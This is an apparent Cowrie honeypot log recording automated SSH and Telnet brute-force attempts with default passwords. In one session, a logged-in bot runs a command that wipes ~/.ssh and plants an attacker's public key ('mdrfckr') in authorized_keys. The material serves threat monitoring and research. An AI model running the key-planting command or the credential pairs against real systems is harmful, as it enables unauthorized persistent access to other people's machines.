{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:58:24.088891Z","src_ip":"193.32.162.151","session":"af56354ed637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:58:24.430343Z","src_ip":"193.32.162.151","session":"af56354ed637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:58:25.554303Z","src_ip":"193.32.162.151","session":"af56354ed637","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.43.79.210","src_port":48576,"dst_ip":"10.17.0.5","dst_port":23,"session":"35bf1f884c39","protocol":"telnet","message":"New connection: 101.43.79.210:48576 (10.17.0.5:23) [session: 35bf1f884c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:59:19.725756Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":42278,"dst_ip":"10.17.0.5","dst_port":22,"session":"420eb198a9e8","protocol":"ssh","message":"New connection: 92.118.39.92:42278 (10.17.0.5:22) [session: 420eb198a9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:59:37.482212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:59:37.514866Z","src_ip":"92.118.39.92","session":"420eb198a9e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:59:37.727148Z","src_ip":"92.118.39.92","session":"420eb198a9e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:59:38.059909Z","src_ip":"92.118.39.92","session":"420eb198a9e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:59:39.169205Z","src_ip":"92.118.39.92","session":"420eb198a9e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":45622,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf38164ed4f1","protocol":"ssh","message":"New connection: 193.32.162.151:45622 (159.203.135.109:22) [session: cf38164ed4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:00:33.140835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:00:33.146693Z","src_ip":"193.32.162.151","session":"cf38164ed4f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:00:33.256728Z","src_ip":"193.32.162.151","session":"cf38164ed4f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:00:33.826177Z","src_ip":"193.32.162.151","session":"cf38164ed4f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:00:34.931621Z","src_ip":"193.32.162.151","session":"cf38164ed4f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:00:39.764757Z","src_ip":"101.43.79.210","session":"35bf1f884c39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":80.04291486740112,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:00:39.768572Z","src_ip":"101.43.79.210","session":"35bf1f884c39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":58948,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c23d323fbc7","protocol":"ssh","message":"New connection: 92.118.39.92:58948 (10.17.0.5:22) [session: 1c23d323fbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:01:54.813663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:01:54.818025Z","src_ip":"92.118.39.92","session":"1c23d323fbc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:01:54.922953Z","src_ip":"92.118.39.92","session":"1c23d323fbc7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"login","message":"login attempt [root/login] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:01:55.242145Z","src_ip":"92.118.39.92","session":"1c23d323fbc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:01:55.487983Z","src_ip":"92.118.39.92","session":"1c23d323fbc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:01:55.491201Z","src_ip":"92.118.39.92","session":"1c23d323fbc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:01:55.603776Z","src_ip":"92.118.39.92","session":"1c23d323fbc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:01:55.608822Z","src_ip":"92.118.39.92","session":"1c23d323fbc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":55234,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d196be7fb00","protocol":"ssh","message":"New connection: 139.19.117.129:55234 (159.203.135.109:22) [session: 2d196be7fb00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:31.852032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:31.857513Z","src_ip":"139.19.117.129","session":"2d196be7fb00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:31.951291Z","src_ip":"139.19.117.129","session":"2d196be7fb00","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:ce:70:2d:d3:e6:25:a1:b2:6e:ea:db:8b:ba:65:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAhsrzuamoXLYvq2YSx3SFmLOLIlXDFVipRlhxEXwPiDNlXQno5GRhrs2KqCTXAZ0dBQ88MvMe1KYT22x+66va47rHf6b+efUX2+0Rh/QtvfDw/kRYXaBKlJK0vaM9Gch5ZQzqKI3Y8QD3oIwglEMQObyNtKflAWdQ5CFCJufQ4y0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:ce:70:2d:d3:e6:25:a1:b2:6e:ea:db:8b:ba:65:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:32.151846Z","src_ip":"139.19.117.129","session":"2d196be7fb00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:ce:70:2d:d3:e6:25:a1:b2:6e:ea:db:8b:ba:65:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAhsrzuamoXLYvq2YSx3SFmLOLIlXDFVipRlhxEXwPiDNlXQno5GRhrs2KqCTXAZ0dBQ88MvMe1KYT22x+66va47rHf6b+efUX2+0Rh/QtvfDw/kRYXaBKlJK0vaM9Gch5ZQzqKI3Y8QD3oIwglEMQObyNtKflAWdQ5CFCJufQ4y0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:32.155951Z","src_ip":"139.19.117.129","session":"2d196be7fb00","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:ce:70:2d:d3:e6:25:a1:b2:6e:ea:db:8b:ba:65:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAhsrzuamoXLYvq2YSx3SFmLOLIlXDFVipRlhxEXwPiDNlXQno5GRhrs2KqCTXAZ0dBQ88MvMe1KYT22x+66va47rHf6b+efUX2+0Rh/QtvfDw/kRYXaBKlJK0vaM9Gch5ZQzqKI3Y8QD3oIwglEMQObyNtKflAWdQ5CFCJufQ4y0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:ce:70:2d:d3:e6:25:a1:b2:6e:ea:db:8b:ba:65:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:32.253798Z","src_ip":"139.19.117.129","session":"2d196be7fb00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:ce:70:2d:d3:e6:25:a1:b2:6e:ea:db:8b:ba:65:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAhsrzuamoXLYvq2YSx3SFmLOLIlXDFVipRlhxEXwPiDNlXQno5GRhrs2KqCTXAZ0dBQ88MvMe1KYT22x+66va47rHf6b+efUX2+0Rh/QtvfDw/kRYXaBKlJK0vaM9Gch5ZQzqKI3Y8QD3oIwglEMQObyNtKflAWdQ5CFCJufQ4y0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:32.257767Z","src_ip":"139.19.117.129","session":"2d196be7fb00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":47228,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba2facd23cf2","protocol":"ssh","message":"New connection: 124.155.125.131:47228 (10.17.0.5:22) [session: ba2facd23cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:39.802075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:39.807408Z","src_ip":"124.155.125.131","session":"ba2facd23cf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:39.982141Z","src_ip":"124.155.125.131","session":"ba2facd23cf2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"QWEZXC123","message":"login attempt [root/QWEZXC123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:40.714330Z","src_ip":"124.155.125.131","session":"ba2facd23cf2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:41.104440Z","src_ip":"124.155.125.131","session":"ba2facd23cf2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:41.107716Z","src_ip":"124.155.125.131","session":"ba2facd23cf2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:41.111673Z","src_ip":"124.155.125.131","session":"ba2facd23cf2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:41.291673Z","src_ip":"124.155.125.131","session":"ba2facd23cf2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:02:41.751213Z","src_ip":"124.155.125.131","session":"ba2facd23cf2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd 